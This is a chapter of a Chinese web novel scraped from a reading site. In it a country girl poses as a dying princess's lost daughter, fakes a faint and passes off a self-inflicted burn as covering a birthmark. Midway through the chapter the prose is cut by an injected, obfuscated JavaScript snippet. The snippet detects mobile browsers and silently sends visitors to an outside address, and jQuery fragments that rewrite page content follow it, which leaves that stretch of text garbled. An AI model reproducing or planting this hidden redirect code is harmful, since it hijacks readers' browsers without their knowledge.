默认冷灰
24号文字
方正启体

5.制新衣

作者:张如意本书字数:K更新时间:
    永平王府的幽香苑中胡茹萍蹙眉沉思,崔霓坐在对面蒲团上,正吃着面前的一盘酥山。


    她用精致的银勺拨弄着酥山顶上那一层被醪浆浸红的冰块,抬头看了眼胡茹萍不屑道:“娘,那獠奴当真是王妃的女儿?你说这种乡野丫头当真要留下吗?她若留下我算什么?”


    崔霓刚出生时,因王妃思女过度,王爷便下令将她过继到王妃名下。她也便成了王府唯一的嫡女。可虽是嫡女,她不过每日去请安,寻常还是随胡茹萍住在幽香苑,美名其曰不为王妃添乱。


    “当日那孩儿分明葬身火海。”胡茹萍蹙眉没头没尾的说了句,又似不以为然道:“谁不知王妃只剩三月光景。怕是大郎随意寻个人,来送她最后一程吧。”


    “方才不是说被牙子拐走吗?阿娘怎说葬身火海?”


    胡茹萍陷入沉思叹了声:“那么大的火,又寻不到,不是葬身火海还能如何?”


    “那时虽未寻到阿姊,可也未寻到尸首不是吗?阿娘如何笃定葬身火海?”窗边正看书的崔薇,放下书朝着二人看来。


    “阿姊?瞧你那出息!这便阿姊的叫上了。”崔霓吞下一块冰,嗤笑道。


    “阿兄和阿耶不是都认了吗?那不叫阿姊叫甚?”崔薇眼神清澈无辜。


    “书呆子!”崔霓嗔了眼崔薇,又满脸好奇对着胡茹萍问:“那年上元节观灯阿娘也去了吗?到底有没有那么大的火势?”


    “我如何能去的了!”胡茹萍啐了声,又心觉失口,遂怒视崔霓:“你看看你阿阮姊姊,闲暇时还知道看看书。你阿耶最是喜欢诗文,你若想你阿耶对你另眼相待,仗着嫡女身份为你说个好媒,也该多读书才是……”


    “你为何去不得?”崔霓不依不饶的凑上前爬在胡茹萍肩头追问。


    胡茹萍不耐烦的甩了甩肩转身出了房门。


    崔霓无趣的丢下银勺,举起随身的小铜镜理了理发髻,瞥了眼低头看书的崔薇,又隔着竹帘看着胡茹萍满腹心事的背影,对着婢女绿芽招招手:“你且将那野丫头盯紧了!我便不信寻不出破绽!”


    王府的小径上,晕倒的钱七七被放在一步舆上,由四人仆从抬着往王之韵所住的竹里馆而去。那步舆微晃着,她惬意的眯着眼一路偷觑,心中不禁惊叹:“这王府怎生有这般多果子树!”


    “1升樱桃20文,杏仁15文一升,秋日里,早熟的石榴果一个便可作价一文。这些樱桃果子春日少说也能卖上五六贯吧。还有这桃子,看起来就很是鲜美。我这才走了永平王府一角,这府上几十口人定是吃不完这般多果子……”她躺着心中不免盘算起。


    一路跟着步舆的崔隐早看到她眯着眼偷觑,上前问了句:“妹妹,可醒了?”


    “阿?”钱七七佯装虚弱微微睁眼:“这是何处?”


    “既醒了,便还是随我走回竹里馆许更舒畅些。”崔隐说着打发走几个仆从,冷脸道:“你这戏,不要太过。”


    钱七七悻悻笑道:“方才那情形,我不晕倒如何收场。权宜之计,权宜之计嘛。”


    崔隐指着他,斥责的话到嘴边又咽了咽只道:“这亲既认下,你便安心照顾阿娘,每日在竹里馆呆着便可,莫出来四处闲逛!更莫要滋事!”


    钱七七连连点头,跟着又走几步禁不住再次感叹:“王府这一路走来已遇见六七棵桃树,还有樱桃树,远处好似还有柿子、枣树。”


    “那还有桂花树、槐树、松树,这院子里的各色花卉你怎生便不见?”崔隐冷眼道。


    “那些不结果子。”她砸吧砸吧嘴,又仔细看了一遍那排果子树,笑道:“这些果子从春日能吃到秋日哩。”


    “崔郎中!”她愈想愈兴奋,忘形地拉了拉他袖口:“这么多果子府上用的完吗?”


    “应,用不完吧。”崔隐不解何意,甩了甩那黏在袖口的手。


    “嘿嘿。”钱七七双手合十,放在唇边,眼里尽是讨好的光:“若府里吃不完,日后可否交给我来卖?”


    崔隐闻言脸色沉下来:“不可!”


    “那你们吃不完的果子如何处理?”她急的又想去拉他。


    “扔了!埋了!”崔隐狠狠道:“还有,今日起莫再叫我崔郎中。在王府你该唤我阿兄或兄长才是。”说罢他一甩袖扬长而去。


    钱七七在身后撇撇嘴、翻了一眼,学着崔隐的语气小声道:“莫再叫我崔郎中,在王府你该唤我阿兄或兄长才是。”


    崔隐察觉折身,见她一副泼皮之态,又警告:“你若表现不佳,我定会如约扣钱。”


    “扣钱?如约?”钱七七扬眉急道:“与谁约的?”


    “契书上有写,你不妨回去好生看看。”崔隐俯身看向她,一脸挑衅。


    “啊?!”钱七七一瞬泄了气,哭丧着脸心中啐骂:“我就知晓这狗官不可信。如今已上了贼船,这可如何是好?”


    “还能如何是好呢?!”她撇撇嘴扬眉苦笑着,不忘拖着长长的尾音道了句甜甜的:“是——,阿兄。”


    不远处的淮叶和冬青对视一眼,忍着不敢笑出声。


    回到竹里馆时崔隐见王妃又昏睡过去便先行离开。钱七七一旁守着,中途王妃醒来她便上前伺候着喝水吃药,王妃又拉着她问了些这些年如何过。她见她如此虚弱,便专挑了些好日子说来。


    不想那所谓的好日子,又催的王妃泪流满面。李妈妈进来劝慰一番,又问钱七七:“为二娘子备的那间厢房不知娘子可满意?”


    “满意,满意。”钱七七笑道:“方才已去看过了。我从未住过这般好看的厢房,还有那象牙席好生凉爽,还有那……”话未说完她见王之韵满眼疼惜,忙改口道:“倒也不是未见过,只是京中与幽州气候不同,吃穿用度自然皆不同。”


    李妈妈应声:“那便好,缺什么您同老奴说便是。”她说着又看向王之韵:“为二娘子量身的裁缝来了,请到王妃这厢还是?”


    “便在此量衣吧,我也凑个热闹。”王之韵支起身子,身侧的雯荷和谷雨上前搀扶着她依在床榻边。


    裁缝娘子进来行了礼,量衣时钱七七刻意将肩头一处伤疤对着床榻。那是崔隐提及胞妹胎记之处。那日她同闻溪上岸烤火时,亦有看到。她担心今日有人验身,遂前几日将此处刻意烫伤。


    “孩子,这肩头何故?”李妈妈意味深长看了眼王妃上前问道。


    “肩头?”钱七七轻松一笑:“前些日子沐浴时被烧水的铜壶烫到,无妨的,你看这里还有一处。”她又指了指手臂另一处伤口。


    “过来,阿娘看看。”王之韵满眼心疼,又一行泪落下。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571655|187019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “阿娘不哭,你看都快好了。”她说着帮她试了试泪:“这里原有个不好看的烙印,如今烫伤反倒看不见了。”


    “哪里是什么烙印。”王之韵一把将她揽入怀中:“那是你的胎记。”


    “胎记?”钱七七蹙眉认真回忆着说:“收养我的姨娘好似也说像胎记。不过,无论什么都过去了,阿娘不哭了好吗?”


    “对对对,阿奴说的对。都过去了。如今都过去了。阿奴回来了。”李妈妈一旁帮衬着说。


    “对嘛!”钱七七说着走到裁缝面前,执起她手中的浣花锦笑道:“阿娘不哭,帮我挑一挑。方才这绣娘问我喜欢绯色还是青色。我觉得阿娘眼光定然好,还是阿娘帮我选。”


    王之韵见她眸光灵动,破涕为笑:“我们阿奴穿什么都好看。自然各制一套。”她说着又对李妈妈道:“将我那天水碧缭绫寻出来给二娘子制新衣。”


    “这天水碧王妃都舍不得用。”雯荷惊讶的看向王之韵。


    “无妨。”王之韵含笑看向钱七七:“这缭绫乃杭州郡特供,日光下一色,烛火中又一色,阿奴且制一身穿上试试。若不喜欢,阿娘还有其他锦、绫、稠、缎,只要你喜欢,阿娘都给你。”


    钱七七一时怔然,扯了扯衣襟不好意思的小声道:“阿娘,不用,这些就够了。”


    “十余年的分离,这几批料子怎得够补偿。”她苦笑一声,轻抚她面颊,不由又两行泪:“好孩子,阿娘定将你这些年所受委屈点点补偿给你。”


    “阿娘何尝不是委屈了十余年,如今最好的补偿便是好生养病,快些好起来。”钱七七眼眶一红,头一次骗人骗的这般心虚惭愧。


    她说着话,一会子给王之韵揉揉肩,一会子又捏捏腿,见她又没了精神,便伺候着又睡下。见王之韵迟迟不醒,钱七七又到院中,望着一院子婆子丫鬟忙忙碌碌,便上前一一问:“可要帮忙?”


    李妈妈年事已高,趁着王妃睡了也便歇息。淮叶见她四处追着人问,索性将众人集中到院中正式介绍:“这位便是咱们二娘子,咱们王妃嫡亲的女儿……”


    说话间,崔霓正从海棠石门走近院中。她见钱七七才来便在下人们面前耀武扬威,心中甚是不满。正巧雯荷又从库房取了天水碧正交给那裁缝送出来。


    “娘子,这不是王妃那天水碧?”绿芽低声愤愤道:“娘子想要这么久,李妈妈多番推诿,原是……”


    “闭嘴!”崔霓对着绿芽怒斥一声,拦住那裁缝冷嘲道:“当真是为难绣娘了。这般粗俗之人,恐穿什么也穿不出神韵,倒是要砸了你这金剪刀的招牌。”


    见那绣娘甚是为难,钱七七便拍拍她肩头笑道:“当真对不住绣娘,此番为我制衣若有余,便给我这位妹妹也做一身吧。”


    “你!谁稀罕!”崔霓啐着正要发作,钱七七想着崔隐方才叮嘱她莫要滋事,滋事又要扣钱,遂轻飘飘道了句:“院子太吵,我还是去屋里静静。”


    崔霓心中不爽,见王妃依旧睡着,便对着方才聚集院中的下人们又一通训话后傲然离去。


    钱七七见她走了,便去小厨房亲自照看王妃的药。


    却不想小厨房众人皆避着她。


    她又试着同院中其他人说话,竟也都不似方才那般热情,能避则避。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)